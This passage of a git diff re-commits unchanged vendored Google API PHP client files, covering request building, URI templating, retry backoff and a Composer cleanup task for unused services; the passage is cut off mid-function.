- // postBody is a special case since it's not defined in the discovery - // document as parameter, but we abuse the param entry for storing it. - $postBody = null; - if (isset($parameters['postBody'])) { - if ($parameters['postBody'] instanceof Model) { - // In the cases the post body is an existing object, we want - // to use the smart method to create a simple object for - // for JSONification. - $parameters['postBody'] = $parameters['postBody']->toSimpleObject(); - } else if (is_object($parameters['postBody'])) { - // If the post body is another kind of object, we will try and - // wrangle it into a sensible format. - $parameters['postBody'] = - $this->convertToArrayAndStripNulls($parameters['postBody']); - } - $postBody = (array) $parameters['postBody']; - unset($parameters['postBody']); - } - - // TODO: optParams here probably should have been - // handled already - this may well be redundant code. - if (isset($parameters['optParams'])) { - $optParams = $parameters['optParams']; - unset($parameters['optParams']); - $parameters = array_merge($parameters, $optParams); - } - - if (!isset($method['parameters'])) { - $method['parameters'] = array(); - } - - $method['parameters'] = array_merge( - $this->stackParameters, - $method['parameters'] - ); - - foreach ($parameters as $key => $val) { - if ($key != 'postBody' && ! isset($method['parameters'][$key])) { - $this->client->getLogger()->error( - 'Service parameter unknown', - array( - 'service' => $this->serviceName, - 'resource' => $this->resourceName, - 'method' => $name, - 'parameter' => $key - ) - ); - throw new GoogleException("($name) unknown parameter: '$key'"); - } - } - - foreach ($method['parameters'] as $paramName => $paramSpec) { - if (isset($paramSpec['required']) && - $paramSpec['required'] && - ! isset($parameters[$paramName]) - ) { - $this->client->getLogger()->error( - 'Service parameter missing', - array( - 'service' => $this->serviceName, - 'resource' => $this->resourceName, - 'method' => $name, - 'parameter' => $paramName - ) - ); - throw new GoogleException("($name) missing required param: '$paramName'"); - } - if (isset($parameters[$paramName])) { - $value = $parameters[$paramName]; - $parameters[$paramName] = $paramSpec; - $parameters[$paramName]['value'] = $value; - unset($parameters[$paramName]['required']); - } else { - // Ensure we don't pass nulls. - unset($parameters[$paramName]); - } - } - - $this->client->getLogger()->info( - 'Service Call', - array( - 'service' => $this->serviceName, - 'resource' => $this->resourceName, - 'method' => $name, - 'arguments' => $parameters, - ) - ); - - // build the service uri - $url = $this->createRequestUri( - $method['path'], - $parameters - ); - - // NOTE: because we're creating the request by hand, - // and because the service has a rootUrl property - // the "base_uri" of the Http Client is not accounted for - $request = new Request( - $method['httpMethod'], - $url, - ['content-type' => 'application/json'], - $postBody ? json_encode($postBody) : '' - ); - - // support uploads - if (isset($parameters['data'])) { - $mimeType = isset($parameters['mimeType']) - ? $parameters['mimeType']['value'] - : 'application/octet-stream'; - $data = $parameters['data']['value']; - $upload = new MediaFileUpload($this->client, $request, $mimeType, $data); - - // pull down the modified request - $request = $upload->getRequest(); - } - - // if this is a media type, we will return the raw response - // rather than using an expected class - if (isset($parameters['alt']) && $parameters['alt']['value'] == 'media') { - $expectedClass = null; - } - - // if the client is marked for deferring, rather than - // execute the request, return the response - if ($this->client->shouldDefer()) { - // @TODO find a better way to do this - $request = $request - ->withHeader('X-Php-Expected-Class', $expectedClass); - - return $request; - } - - return $this->client->execute($request, $expectedClass); - } - - protected function convertToArrayAndStripNulls($o) - { - $o = (array) $o; - foreach ($o as $k => $v) { - if ($v === null) { - unset($o[$k]); - } elseif (is_object($v) || is_array($v)) { - $o[$k] = $this->convertToArrayAndStripNulls($o[$k]); - } - } - return $o; - } - - /** - * Parse/expand request parameters and create a fully qualified - * request uri. - * @static - * @param string $restPath - * @param array $params - * @return string $requestUrl - */ - public function createRequestUri($restPath, $params) - { - // Override the default servicePath address if the $restPath use a / - if ('/' == substr($restPath, 0, 1)) { - $requestUrl = substr($restPath, 1); - } else { - $requestUrl = $this->servicePath . $restPath; - } - - // code for leading slash - if ($this->rootUrl) { - if ('/' !== substr($this->rootUrl, -1) && '/' !== substr($requestUrl, 0, 1)) { - $requestUrl = '/' . $requestUrl; - } - $requestUrl = $this->rootUrl . $requestUrl; - } - $uriTemplateVars = array(); - $queryVars = array(); - foreach ($params as $paramName => $paramSpec) { - if ($paramSpec['type'] == 'boolean') { - $paramSpec['value'] = $paramSpec['value'] ? 'true' : 'false'; - } - if ($paramSpec['location'] == 'path') { - $uriTemplateVars[$paramName] = $paramSpec['value']; - } else if ($paramSpec['location'] == 'query') { - if (is_array($paramSpec['value'])) { - foreach ($paramSpec['value'] as $value) { - $queryVars[] = $paramName . '=' . rawurlencode(rawurldecode($value)); - } - } else { - $queryVars[] = $paramName . '=' . rawurlencode(rawurldecode($paramSpec['value'])); - } - } - } - - if (count($uriTemplateVars)) { - $uriTemplateParser = new UriTemplate(); - $requestUrl = $uriTemplateParser->parse($requestUrl, $uriTemplateVars); - } - - if (count($queryVars)) { - $requestUrl .= '?' . implode('&', $queryVars); - } - - return $requestUrl; - } -} + array('type' => 'string', 'location' => 'query'), + 'fields' => array('type' => 'string', 'location' => 'query'), + 'trace' => array('type' => 'string', 'location' => 'query'), + 'userIp' => array('type' => 'string', 'location' => 'query'), + 'quotaUser' => array('type' => 'string', 'location' => 'query'), + 'data' => array('type' => 'string', 'location' => 'body'), + 'mimeType' => array('type' => 'string', 'location' => 'header'), + 'uploadType' => array('type' => 'string', 'location' => 'query'), + 'mediaUpload' => array('type' => 'complex', 'location' => 'query'), + 'prettyPrint' => array('type' => 'string', 'location' => 'query'), + ); + + /** @var string $rootUrl */ + private $rootUrl; + + /** @var \Google\Client $client */ + private $client; + + /** @var string $serviceName */ + private $serviceName; + + /** @var string $servicePath */ + private $servicePath; + + /** @var string $resourceName */ + private $resourceName; + + /** @var array $methods */ + private $methods; + + public function __construct($service, $serviceName, $resourceName, $resource) + { + $this->rootUrl = $service->rootUrl; + $this->client = $service->getClient(); + $this->servicePath = $service->servicePath; + $this->serviceName = $serviceName; + $this->resourceName = $resourceName; + $this->methods = is_array($resource) && isset($resource['methods']) ? + $resource['methods'] : + array($resourceName => $resource); + } + + /** + * TODO: This function needs simplifying. + * @param $name + * @param $arguments + * @param $expectedClass - optional, the expected class name + * @return mixed|$expectedClass|ResponseInterface|RequestInterface + * @throws \Google\Exception + */ + public function call($name, $arguments, $expectedClass = null) + { + if (! isset($this->methods[$name])) { + $this->client->getLogger()->error( + 'Service method unknown', + array( + 'service' => $this->serviceName, + 'resource' => $this->resourceName, + 'method' => $name + ) + ); + + throw new GoogleException( + "Unknown function: " . + "{$this->serviceName}->{$this->resourceName}->{$name}()" + ); + } + $method = $this->methods[$name]; + $parameters = $arguments[0]; + + // postBody is a special case since it's not defined in the discovery + // document as parameter, but we abuse the param entry for storing it. + $postBody = null; + if (isset($parameters['postBody'])) { + if ($parameters['postBody'] instanceof Model) { + // In the cases the post body is an existing object, we want + // to use the smart method to create a simple object for + // for JSONification. + $parameters['postBody'] = $parameters['postBody']->toSimpleObject(); + } else if (is_object($parameters['postBody'])) { + // If the post body is another kind of object, we will try and + // wrangle it into a sensible format. + $parameters['postBody'] = + $this->convertToArrayAndStripNulls($parameters['postBody']); + } + $postBody = (array) $parameters['postBody']; + unset($parameters['postBody']); + } + + // TODO: optParams here probably should have been + // handled already - this may well be redundant code. + if (isset($parameters['optParams'])) { + $optParams = $parameters['optParams']; + unset($parameters['optParams']); + $parameters = array_merge($parameters, $optParams); + } + + if (!isset($method['parameters'])) { + $method['parameters'] = array(); + } + + $method['parameters'] = array_merge( + $this->stackParameters, + $method['parameters'] + ); + + foreach ($parameters as $key => $val) { + if ($key != 'postBody' && ! isset($method['parameters'][$key])) { + $this->client->getLogger()->error( + 'Service parameter unknown', + array( + 'service' => $this->serviceName, + 'resource' => $this->resourceName, + 'method' => $name, + 'parameter' => $key + ) + ); + throw new GoogleException("($name) unknown parameter: '$key'"); + } + } + + foreach ($method['parameters'] as $paramName => $paramSpec) { + if (isset($paramSpec['required']) && + $paramSpec['required'] && + ! isset($parameters[$paramName]) + ) { + $this->client->getLogger()->error( + 'Service parameter missing', + array( + 'service' => $this->serviceName, + 'resource' => $this->resourceName, + 'method' => $name, + 'parameter' => $paramName + ) + ); + throw new GoogleException("($name) missing required param: '$paramName'"); + } + if (isset($parameters[$paramName])) { + $value = $parameters[$paramName]; + $parameters[$paramName] = $paramSpec; + $parameters[$paramName]['value'] = $value; + unset($parameters[$paramName]['required']); + } else { + // Ensure we don't pass nulls. + unset($parameters[$paramName]); + } + } + + $this->client->getLogger()->info( + 'Service Call', + array( + 'service' => $this->serviceName, + 'resource' => $this->resourceName, + 'method' => $name, + 'arguments' => $parameters, + ) + ); + + // build the service uri + $url = $this->createRequestUri( + $method['path'], + $parameters + ); + + // NOTE: because we're creating the request by hand, + // and because the service has a rootUrl property + // the "base_uri" of the Http Client is not accounted for + $request = new Request( + $method['httpMethod'], + $url, + ['content-type' => 'application/json'], + $postBody ? json_encode($postBody) : '' + ); + + // support uploads + if (isset($parameters['data'])) { + $mimeType = isset($parameters['mimeType']) + ? $parameters['mimeType']['value'] + : 'application/octet-stream'; + $data = $parameters['data']['value']; + $upload = new MediaFileUpload($this->client, $request, $mimeType, $data); + + // pull down the modified request + $request = $upload->getRequest(); + } + + // if this is a media type, we will return the raw response + // rather than using an expected class + if (isset($parameters['alt']) && $parameters['alt']['value'] == 'media') { + $expectedClass = null; + } + + // if the client is marked for deferring, rather than + // execute the request, return the response + if ($this->client->shouldDefer()) { + // @TODO find a better way to do this + $request = $request + ->withHeader('X-Php-Expected-Class', $expectedClass); + + return $request; + } + + return $this->client->execute($request, $expectedClass); + } + + protected function convertToArrayAndStripNulls($o) + { + $o = (array) $o; + foreach ($o as $k => $v) { + if ($v === null) { + unset($o[$k]); + } elseif (is_object($v) || is_array($v)) { + $o[$k] = $this->convertToArrayAndStripNulls($o[$k]); + } + } + return $o; + } + + /** + * Parse/expand request parameters and create a fully qualified + * request uri. + * @static + * @param string $restPath + * @param array $params + * @return string $requestUrl + */ + public function createRequestUri($restPath, $params) + { + // Override the default servicePath address if the $restPath use a / + if ('/' == substr($restPath, 0, 1)) { + $requestUrl = substr($restPath, 1); + } else { + $requestUrl = $this->servicePath . $restPath; + } + + // code for leading slash + if ($this->rootUrl) { + if ('/' !== substr($this->rootUrl, -1) && '/' !== substr($requestUrl, 0, 1)) { + $requestUrl = '/' . $requestUrl; + } + $requestUrl = $this->rootUrl . $requestUrl; + } + $uriTemplateVars = array(); + $queryVars = array(); + foreach ($params as $paramName => $paramSpec) { + if ($paramSpec['type'] == 'boolean') { + $paramSpec['value'] = $paramSpec['value'] ? 'true' : 'false'; + } + if ($paramSpec['location'] == 'path') { + $uriTemplateVars[$paramName] = $paramSpec['value']; + } else if ($paramSpec['location'] == 'query') { + if (is_array($paramSpec['value'])) { + foreach ($paramSpec['value'] as $value) { + $queryVars[] = $paramName . '=' . rawurlencode(rawurldecode($value)); + } + } else { + $queryVars[] = $paramName . '=' . rawurlencode(rawurldecode($paramSpec['value'])); + } + } + } + + if (count($uriTemplateVars)) { + $uriTemplateParser = new UriTemplate(); + $requestUrl = $uriTemplateParser->parse($requestUrl, $uriTemplateVars); + } + + if (count($queryVars)) { + $requestUrl .= '?' . implode('&', $queryVars); + } + + return $requestUrl; + } +} diff --git a/vendor/google/apiclient/src/Task/Composer.php b/vendor/google/apiclient/src/Task/Composer.php index d8b55156ff..892573b9c1 100644 --- a/vendor/google/apiclient/src/Task/Composer.php +++ b/vendor/google/apiclient/src/Task/Composer.php @@ -1,115 +1,115 @@ -getComposer(); - $extra = $composer->getPackage()->getExtra(); - $servicesToKeep = isset($extra['google/apiclient-services']) ? - $extra['google/apiclient-services'] : []; - if ($servicesToKeep) { - $vendorDir = $composer->getConfig()->get('vendor-dir'); - $serviceDir = sprintf( - '%s/google/apiclient-services/src/Google/Service', - $vendorDir - ); - if (!is_dir($serviceDir)) { - // path for google/apiclient-services >= 0.200.0 - $serviceDir = sprintf( - '%s/google/apiclient-services/src', - $vendorDir - ); - } - self::verifyServicesToKeep($serviceDir, $servicesToKeep); - $finder = self::getServicesToRemove($serviceDir, $servicesToKeep); - $filesystem = $filesystem ?: new Filesystem(); - if (0 !== $count = count($finder)) { - $event->getIO()->write( - sprintf( - 'Removing %s google services', - $count - ) - ); - foreach ($finder as $file) { - $realpath = $file->getRealPath(); - $filesystem->remove($realpath); - $filesystem->remove($realpath . '.php'); - } - } - } - } - - /** - * @throws InvalidArgumentException when the service doesn't exist - */ - private static function verifyServicesToKeep( - $serviceDir, - array $servicesToKeep - ) { - $finder = (new Finder()) - ->directories() - ->depth('== 0'); - - foreach ($servicesToKeep as $service) { - if (!preg_match('/^[a-zA-Z0-9]*$/', $service)) { - throw new InvalidArgumentException( - sprintf( - 'Invalid Google service name "%s"', - $service - ) - ); - } - try { - $finder->in($serviceDir . '/' . $service); - } catch (InvalidArgumentException $e) { - throw new InvalidArgumentException( - sprintf( - 'Google service "%s" does not exist or was removed previously', - $service - ) - ); - } - } - } - - private static function getServicesToRemove( - $serviceDir, - array $servicesToKeep - ) { - // find all files in the current directory - return (new Finder()) - ->directories() - ->depth('== 0') - ->in($serviceDir) - ->exclude($servicesToKeep); - } -} +getComposer(); + $extra = $composer->getPackage()->getExtra(); + $servicesToKeep = isset($extra['google/apiclient-services']) ? + $extra['google/apiclient-services'] : []; + if ($servicesToKeep) { + $vendorDir = $composer->getConfig()->get('vendor-dir'); + $serviceDir = sprintf( + '%s/google/apiclient-services/src/Google/Service', + $vendorDir + ); + if (!is_dir($serviceDir)) { + // path for google/apiclient-services >= 0.200.0 + $serviceDir = sprintf( + '%s/google/apiclient-services/src', + $vendorDir + ); + } + self::verifyServicesToKeep($serviceDir, $servicesToKeep); + $finder = self::getServicesToRemove($serviceDir, $servicesToKeep); + $filesystem = $filesystem ?: new Filesystem(); + if (0 !== $count = count($finder)) { + $event->getIO()->write( + sprintf( + 'Removing %s google services', + $count + ) + ); + foreach ($finder as $file) { + $realpath = $file->getRealPath(); + $filesystem->remove($realpath); + $filesystem->remove($realpath . '.php'); + } + } + } + } + + /** + * @throws InvalidArgumentException when the service doesn't exist + */ + private static function verifyServicesToKeep( + $serviceDir, + array $servicesToKeep + ) { + $finder = (new Finder()) + ->directories() + ->depth('== 0'); + + foreach ($servicesToKeep as $service) { + if (!preg_match('/^[a-zA-Z0-9]*$/', $service)) { + throw new InvalidArgumentException( + sprintf( + 'Invalid Google service name "%s"', + $service + ) + ); + } + try { + $finder->in($serviceDir . '/' . $service); + } catch (InvalidArgumentException $e) { + throw new InvalidArgumentException( + sprintf( + 'Google service "%s" does not exist or was removed previously', + $service + ) + ); + } + } + } + + private static function getServicesToRemove( + $serviceDir, + array $servicesToKeep + ) { + // find all files in the current directory + return (new Finder()) + ->directories() + ->depth('== 0') + ->in($serviceDir) + ->exclude($servicesToKeep); + } +} diff --git a/vendor/google/apiclient/src/Task/Exception.php b/vendor/google/apiclient/src/Task/Exception.php index 3babcb0fd6..9e0d436b50 100644 --- a/vendor/google/apiclient/src/Task/Exception.php +++ b/vendor/google/apiclient/src/Task/Exception.php @@ -1,24 +1,24 @@ - self::TASK_RETRY_ALWAYS, - '503' => self::TASK_RETRY_ALWAYS, - 'rateLimitExceeded' => self::TASK_RETRY_ALWAYS, - 'userRateLimitExceeded' => self::TASK_RETRY_ALWAYS, - 6 => self::TASK_RETRY_ALWAYS, // CURLE_COULDNT_RESOLVE_HOST - 7 => self::TASK_RETRY_ALWAYS, // CURLE_COULDNT_CONNECT - 28 => self::TASK_RETRY_ALWAYS, // CURLE_OPERATION_TIMEOUTED - 35 => self::TASK_RETRY_ALWAYS, // CURLE_SSL_CONNECT_ERROR - 52 => self::TASK_RETRY_ALWAYS, // CURLE_GOT_NOTHING - 'lighthouseError' => self::TASK_RETRY_NEVER - ]; - - /** - * Creates a new task runner with exponential backoff support. - * - * @param array $config The task runner config - * @param string $name The name of the current task (used for logging) - * @param callable $action The task to run and possibly retry - * @param array $arguments The task arguments - * @throws \Google\Task\Exception when misconfigured - */ - public function __construct( - $config, - $name, - $action, - array $arguments = array() - ) { - if (isset($config['initial_delay'])) { - if ($config['initial_delay'] < 0) { - throw new GoogleTaskException( - 'Task configuration `initial_delay` must not be negative.' - ); - } - - $this->delay = $config['initial_delay']; - } - - if (isset($config['max_delay'])) { - if ($config['max_delay'] <= 0) { - throw new GoogleTaskException( - 'Task configuration `max_delay` must be greater than 0.' - ); - } - - $this->maxDelay = $config['max_delay']; - } - - if (isset($config['factor'])) { - if ($config['factor'] <= 0) { - throw new GoogleTaskException( - 'Task configuration `factor` must be greater than 0.' - ); - } - - $this->factor = $config['factor']; - } - - if (isset($config['jitter'])) { - if ($config['jitter'] <= 0) { - throw new GoogleTaskException( - 'Task configuration `jitter` must be greater than 0.' - ); - } - - $this->jitter = $config['jitter']; - } - - if (isset($config['retries'])) { - if ($config['retries'] < 0) { - throw new GoogleTaskException( - 'Task configuration `retries` must not be negative.' - ); - } - $this->maxAttempts += $config['retries']; - } - - if (!is_callable($action)) { - throw new GoogleTaskException( - 'Task argument `$action` must be a valid callable.' - ); - } - - $this->action = $action; - $this->arguments = $arguments; - } - - /** - * Checks if a retry can be attempted. - * - * @return boolean - */ - public function canAttempt() - { - return $this->attempts < $this->maxAttempts; - } - - /** - * Runs the task and (if applicable) automatically retries when errors occur. - * - * @return mixed - * @throws \Google\Service\Exception on failure when no retries are available. - */ - public function run() - { - while ($this->attempt()) { - try { - return call_user_func_array($this->action, $this->arguments); - } catch (GoogleServiceException $exception) { - $allowedRetries = $this->allowedRetries( - $exception->getCode(), - $exception->getErrors() - ); - - if (!$this->canAttempt() || !$allowedRetries) { - throw $exception; - } - - if ($allowedRetries > 0) { - $this->maxAttempts = min( - $this->maxAttempts, - $this->attempts + $allowedRetries - ); - } - } - } - } - - /** - * Runs a task once, if possible. This is useful for bypassing the `run()` - * loop. - * - * NOTE: If this is not the first attempt, this function will sleep in - * accordance to the backoff configurations before running the task. - * - * @return boolean - */ - public function attempt() - { - if (!$this->canAttempt()) { - return false; - } - - if ($this->attempts > 0) { - $this->backOff(); - } - - $this->attempts++; - return true; - } - - /** - * Sleeps in accordance to the backoff configurations. - */ - private function backOff() - { - $delay = $this->getDelay(); - - usleep($delay * 1000000); - } - - /** - * Gets the delay (in seconds) for the current backoff period. - * - * @return float - */ - private function getDelay() - { - $jitter = $this->getJitter(); - $factor = $this->attempts > 1 ? $this->factor + $jitter : 1 + abs($jitter); - - return $this->delay = min($this->maxDelay, $this->delay * $factor); - } - - /** - * Gets the current jitter (random number between -$this->jitter and - * $this->jitter). - * - * @return float - */ - private function getJitter() - { - return $this->jitter * 2 * mt_rand() / mt_getrandmax() - $this->jitter; - } - - /** - * Gets the number of times the associated task can be retried. - * - * NOTE: -1 is returned if the task can be retried indefinitely - * - * @return integer - */ - public function allowedRetries($code, $errors = array()) - { - if (isset($this->retryMap[$code])) { - return $this->retryMap[$code]; - } - - if ( - !empty($errors) && - isset($errors[0]['reason'], $this->retryMap[$errors[0]['reason']]) - ) { - return $this->retryMap[$errors[0]['reason']]; - } - - return 0; - } - - public function setRetryMap($retryMap) - { - $this->retryMap = $retryMap; - } -} + self::TASK_RETRY_ALWAYS, + '503' => self::TASK_RETRY_ALWAYS, + 'rateLimitExceeded' => self::TASK_RETRY_ALWAYS, + 'userRateLimitExceeded' => self::TASK_RETRY_ALWAYS, + 6 => self::TASK_RETRY_ALWAYS, // CURLE_COULDNT_RESOLVE_HOST + 7 => self::TASK_RETRY_ALWAYS, // CURLE_COULDNT_CONNECT + 28 => self::TASK_RETRY_ALWAYS, // CURLE_OPERATION_TIMEOUTED + 35 => self::TASK_RETRY_ALWAYS, // CURLE_SSL_CONNECT_ERROR + 52 => self::TASK_RETRY_ALWAYS, // CURLE_GOT_NOTHING + 'lighthouseError' => self::TASK_RETRY_NEVER + ]; + + /** + * Creates a new task runner with exponential backoff support. + * + * @param array $config The task runner config + * @param string $name The name of the current task (used for logging) + * @param callable $action The task to run and possibly retry + * @param array $arguments The task arguments + * @throws \Google\Task\Exception when misconfigured + */ + public function __construct( + $config, + $name, + $action, + array $arguments = array() + ) { + if (isset($config['initial_delay'])) { + if ($config['initial_delay'] < 0) { + throw new GoogleTaskException( + 'Task configuration `initial_delay` must not be negative.' + ); + } + + $this->delay = $config['initial_delay']; + } + + if (isset($config['max_delay'])) { + if ($config['max_delay'] <= 0) { + throw new GoogleTaskException( + 'Task configuration `max_delay` must be greater than 0.' + ); + } + + $this->maxDelay = $config['max_delay']; + } + + if (isset($config['factor'])) { + if ($config['factor'] <= 0) { + throw new GoogleTaskException( + 'Task configuration `factor` must be greater than 0.' + ); + } + + $this->factor = $config['factor']; + } + + if (isset($config['jitter'])) { + if ($config['jitter'] <= 0) { + throw new GoogleTaskException( + 'Task configuration `jitter` must be greater than 0.' + ); + } + + $this->jitter = $config['jitter']; + } + + if (isset($config['retries'])) { + if ($config['retries'] < 0) { + throw new GoogleTaskException( + 'Task configuration `retries` must not be negative.' + ); + } + $this->maxAttempts += $config['retries']; + } + + if (!is_callable($action)) { + throw new GoogleTaskException( + 'Task argument `$action` must be a valid callable.' + ); + } + + $this->action = $action; + $this->arguments = $arguments; + } + + /** + * Checks if a retry can be attempted. + * + * @return boolean + */ + public function canAttempt() + { + return $this->attempts < $this->maxAttempts; + } + + /** + * Runs the task and (if applicable) automatically retries when errors occur. + * + * @return mixed + * @throws \Google\Service\Exception on failure when no retries are available. + */ + public function run() + { + while ($this->attempt()) { + try { + return call_user_func_array($this->action, $this->arguments); + } catch (GoogleServiceException $exception) { + $allowedRetries = $this->allowedRetries( + $exception->getCode(), + $exception->getErrors() + ); + + if (!$this->canAttempt() || !$allowedRetries) { + throw $exception; + } + + if ($allowedRetries > 0) { + $this->maxAttempts = min( + $this->maxAttempts, + $this->attempts + $allowedRetries + ); + } + } + } + } + + /** + * Runs a task once, if possible. This is useful for bypassing the `run()` + * loop. + * + * NOTE: If this is not the first attempt, this function will sleep in + * accordance to the backoff configurations before running the task. + * + * @return boolean + */ + public function attempt() + { + if (!$this->canAttempt()) { + return false; + } + + if ($this->attempts > 0) { + $this->backOff(); + } + + $this->attempts++; + return true; + } + + /** + * Sleeps in accordance to the backoff configurations. + */ + private function backOff() + { + $delay = $this->getDelay(); + + usleep($delay * 1000000); + } + + /** + * Gets the delay (in seconds) for the current backoff period. + * + * @return float + */ + private function getDelay() + { + $jitter = $this->getJitter(); + $factor = $this->attempts > 1 ? $this->factor + $jitter : 1 + abs($jitter); + + return $this->delay = min($this->maxDelay, $this->delay * $factor); + } + + /** + * Gets the current jitter (random number between -$this->jitter and + * $this->jitter). + * + * @return float + */ + private function getJitter() + { + return $this->jitter * 2 * mt_rand() / mt_getrandmax() - $this->jitter; + } + + /** + * Gets the number of times the associated task can be retried. + * + * NOTE: -1 is returned if the task can be retried indefinitely + * + * @return integer + */ + public function allowedRetries($code, $errors = array()) + { + if (isset($this->retryMap[$code])) { + return $this->retryMap[$code]; + } + + if ( + !empty($errors) && + isset($errors[0]['reason'], $this->retryMap[$errors[0]['reason']]) + ) { + return $this->retryMap[$errors[0]['reason']]; + } + + return 0; + } + + public function setRetryMap($retryMap) + { + $this->retryMap = $retryMap; + } +} diff --git a/vendor/google/apiclient/src/Utils/UriTemplate.php b/vendor/google/apiclient/src/Utils/UriTemplate.php index 7d8d0923e2..1f0c6b31d2 100644 --- a/vendor/google/apiclient/src/Utils/UriTemplate.php +++ b/vendor/google/apiclient/src/Utils/UriTemplate.php @@ -1,335 +1,335 @@ - "reserved", - "/" => "segments", - "." => "dotprefix", - "#" => "fragment", - ";" => "semicolon", - "?" => "form", - "&" => "continuation" - ); - - /** - * @var reserved array - * These are the characters which should not be URL encoded in reserved - * strings. - */ - private $reserved = array( - "=", ",", "!", "@", "|", ":", "/", "?", "#", - "[", "]",'$', "&", "'", "(", ")", "*", "+", ";" - ); - private $reservedEncoded = array( - "%3D", "%2C", "%21", "%40", "%7C", "%3A", "%2F", "%3F", - "%23", "%5B", "%5D", "%24", "%26", "%27", "%28", "%29", - "%2A", "%2B", "%3B" - ); - - public function parse($string, array $parameters) - { - return $this->resolveNextSection($string, $parameters); - } - - /** - * This function finds the first matching {...} block and - * executes the replacement. It then calls itself to find - * subsequent blocks, if any. - */ - private function resolveNextSection($string, $parameters) - { - $start = strpos($string, "{"); - if ($start === false) { - return $string; - } - $end = strpos($string, "}"); - if ($end === false) { - return $string; - } - $string = $this->replace($string, $start, $end, $parameters); - return $this->resolveNextSection($string, $parameters); - } - - private function replace($string, $start, $end, $parameters) - { - // We know a data block will have {} round it, so we can strip that. - $data = substr($string, $start + 1, $end - $start - 1); - - // If the first character is one of the reserved operators, it effects - // the processing of the stream. - if (isset($this->operators[$data[0]])) { - $op = $this->operators[$data[0]]; - $data = substr($data, 1); - $prefix = ""; - $prefix_on_missing = false; - - switch ($op) { - case "reserved": - // Reserved means certain characters should not be URL encoded - $data = $this->replaceVars($data, $parameters, ",", null, true); - break; - case "fragment": - // Comma separated with fragment prefix. Bare values only. - $prefix = "#"; - $prefix_on_missing = true; - $data = $this->replaceVars($data, $parameters, ",", null, true); - break; - case "segments": - // Slash separated data. Bare values only. - $prefix = "/"; - $data =$this->replaceVars($data, $parameters, "/"); - break; - case "dotprefix": - // Dot separated data. Bare values only. - $prefix = "."; - $prefix_on_missing = true; - $data = $this->replaceVars($data, $parameters, "."); - break; - case "semicolon": - // Semicolon prefixed and separated. Uses the key name - $prefix = ";"; - $data = $this->replaceVars($data, $parameters, ";", "=", false, true, false); - break; - case "form": - // Standard URL format. Uses the key name - $prefix = "?"; - $data = $this->replaceVars($data, $parameters, "&", "="); - break; - case "continuation": - // Standard URL, but with leading ampersand. Uses key name. - $prefix = "&"; - $data = $this->replaceVars($data, $parameters, "&", "="); - break; - } - - // Add the initial prefix character if data is valid. - if ($data || ($data !== false && $prefix_on_missing)) { - $data = $prefix . $data; - } - - } else { - // If no operator we replace with the defaults. - $data = $this->replaceVars($data, $parameters); - } - // This is chops out the {...} and replaces with the new section. - return substr($string, 0, $start) . $data . substr($string, $end + 1); - } - - private function replaceVars( - $section, - $parameters, - $sep = ",", - $combine = null, - $reserved = false, - $tag_empty = false, - $combine_on_empty = true - ) { - if (strpos($section, ",") === false) { - // If we only have a single value, we can immediately process. - return $this->combine( - $section, - $parameters, - $sep, - $combine, - $reserved, - $tag_empty, - $combine_on_empty - ); - } else { - // If we have multiple values, we need to split and loop over them. - // Each is treated individually, then glued together with the - // separator character. - $vars = explode(",", $section); - return $this->combineList( - $vars, - $sep, - $parameters, - $combine, - $reserved, - false, // Never emit empty strings in multi-param replacements - $combine_on_empty - ); - } - } - - public function combine( - $key, - $parameters, - $sep, - $combine, - $reserved, - $tag_empty, - $combine_on_empty - ) { - $length = false; - $explode = false; - $skip_final_combine = false; - $value = false; - - // Check for length restriction. - if (strpos($key, ":") !== false) { - list($key, $length) = explode(":", $key); - } - - // Check for explode parameter. - if ($key[strlen($key) - 1] == "*") { - $explode = true; - $key = substr($key, 0, -1); - $skip_final_combine = true; - } - - // Define the list separator. - $list_sep = $explode ? $sep : ","; - - if (isset($parameters[$key])) { - $data_type = $this->getDataType($parameters[$key]); - switch ($data_type) { - case self::TYPE_SCALAR: - $value = $this->getValue($parameters[$key], $length); - break; - case self::TYPE_LIST: - $values = array(); - foreach ($parameters[$key] as $pkey => $pvalue) { - $pvalue = $this->getValue($pvalue, $length); - if ($combine && $explode) { - $values[$pkey] = $key . $combine . $pvalue; - } else { - $values[$pkey] = $pvalue; - } - } - $value = implode($list_sep, $values); - if ($value == '') { - return ''; - } - break; - case self::TYPE_MAP: - $values = array(); - foreach ($parameters[$key] as $pkey => $pvalue) { - $pvalue = $this->getValue($pvalue, $length); - if ($explode) { - $pkey = $this->getValue($pkey, $length); - $values[] = $pkey . "=" . $pvalue; // Explode triggers = combine. - } else { - $values[] = $pkey; - $values[] = $pvalue; - } - } - $value = implode($list_sep, $values); - if ($value == '') { - return false; - } - break; - } - } else if ($tag_empty) { - // If we are just indicating empty values with their key name, return that. - return $key; - } else { - // Otherwise we can skip this variable due to not being defined. - return false; - } - - if ($reserved) { - $value = str_replace($this->reservedEncoded, $this->reserved, $value); - } - - // If we do not need to include the key name, we just return the raw - // value. - if (!$combine || $skip_final_combine) { - return $value; - } - - // Else we combine the key name: foo=bar, if value is not the empty string. - return $key . ($value != '' || $combine_on_empty ? $combine . $value : ''); - } - - /** - * Return the type of a passed in value - */ - private function getDataType($data) - { - if (is_array($data)) { - reset($data); - if (key($data) !== 0) { - return self::TYPE_MAP; - } - return self::TYPE_LIST; - } - return self::TYPE_SCALAR; - } - - /** - * Utility function that merges multiple combine calls - * for multi-key templates. - */ - private function combineList( - $vars, - $sep, - $parameters, - $combine, - $reserved, - $tag_empty, - $combine_on_empty - ) { - $ret = array(); - foreach ($vars as $var) { - $response = $this->combine( - $var, - $parameters, - $sep, - $combine, - $reserved, - $tag_empty, - $combine_on_empty - ); - if ($response === false) { - continue; - } - $ret[] = $response; - } - return implode($sep, $ret); - } - - /** - * Utility function to encode and trim values - */ - private function getValue($value, $length) - { - if ($length) { - $value = substr($value, 0, $length); - } - $value = rawurlencode($value); - return $value; - } -} + "reserved", + "/" => "segments", + "." => "dotprefix", + "#" => "fragment", + ";" => "semicolon", + "?" => "form", + "&" => "continuation" + ); + + /** + * @var reserved array + * These are the characters which should not be URL encoded in reserved + * strings. + */ + private $reserved = array( + "=", ",", "!", "@", "|", ":", "/", "?", "#", + "[", "]",'$', "&", "'", "(", ")", "*", "+", ";" + ); + private $reservedEncoded = array( + "%3D", "%2C", "%21", "%40", "%7C", "%3A", "%2F", "%3F", + "%23", "%5B", "%5D", "%24", "%26", "%27", "%28", "%29", + "%2A", "%2B", "%3B" + ); + + public function parse($string, array $parameters) + { + return $this->resolveNextSection($string, $parameters); + } + + /** + * This function finds the first matching {...} block and + * executes the replacement. It then calls itself to find + * subsequent blocks, if any. + */ + private function resolveNextSection($string, $parameters) + { + $start = 